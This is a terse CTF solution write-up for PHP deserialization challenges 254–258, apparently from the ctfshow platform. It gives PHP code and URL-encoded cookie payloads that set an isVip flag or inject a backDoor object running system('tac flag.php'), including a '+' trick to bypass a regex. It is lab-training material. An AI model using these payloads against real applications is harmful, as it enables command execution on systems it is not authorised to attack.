  • 254-对象引用执行逻辑

username=xxxxxx&password=xxxxxx

  • 255-反序列化变量修改1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    CODE:
    <?php
    class ctfShowUser{
    public $isVip=true;
    }

    $a=new ctfShowUser();
    echo urlencode(serialize($a));
    ?>
    Get:username=xxxxxx&password=xxxxxx
    Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
  • 256-反序列化参数修改2

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    CODE:
    <?php
    class ctfShowUser{
    public $username='xiaodi';
    public $password='xiaodisec';
    public $isVip=true;
    }

    $a=new ctfShowUser();
    echo urlencode(serialize($a));

    ?>
    GET:username=xiaodi&password=xiaodisec
    COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xiaodi%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22xiaodisec%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
  • 257-反序列化参数修改&对象调用逻辑

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    CODE:
    <?php
    class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
    $this->class=new backDoor();
    }
    }
    class backDoor{
    public $code='system("tac flag.php");';

    }
    echo urlencode(serialize(new ctfShowUser));
    ?>
    GET:username=xxxxxx&password=xxxxxx
    COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
  • 258-反序列化参数修改&对象调用逻辑&正则

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    CODE:
    <?php
    class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
    $this->class=new backDoor();
    }
    }
    class backDoor{
    public $code="system('tac flag.php');";
    }

    $a=serialize(new ctfShowUser());
    $b=str_replace(':11',':+11',$a);
    $c=str_replace(':8',':+8',$b);
    echo urlencode($c);
    ?>
    GET:username=xxxxxx&password=xxxxxx
    COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D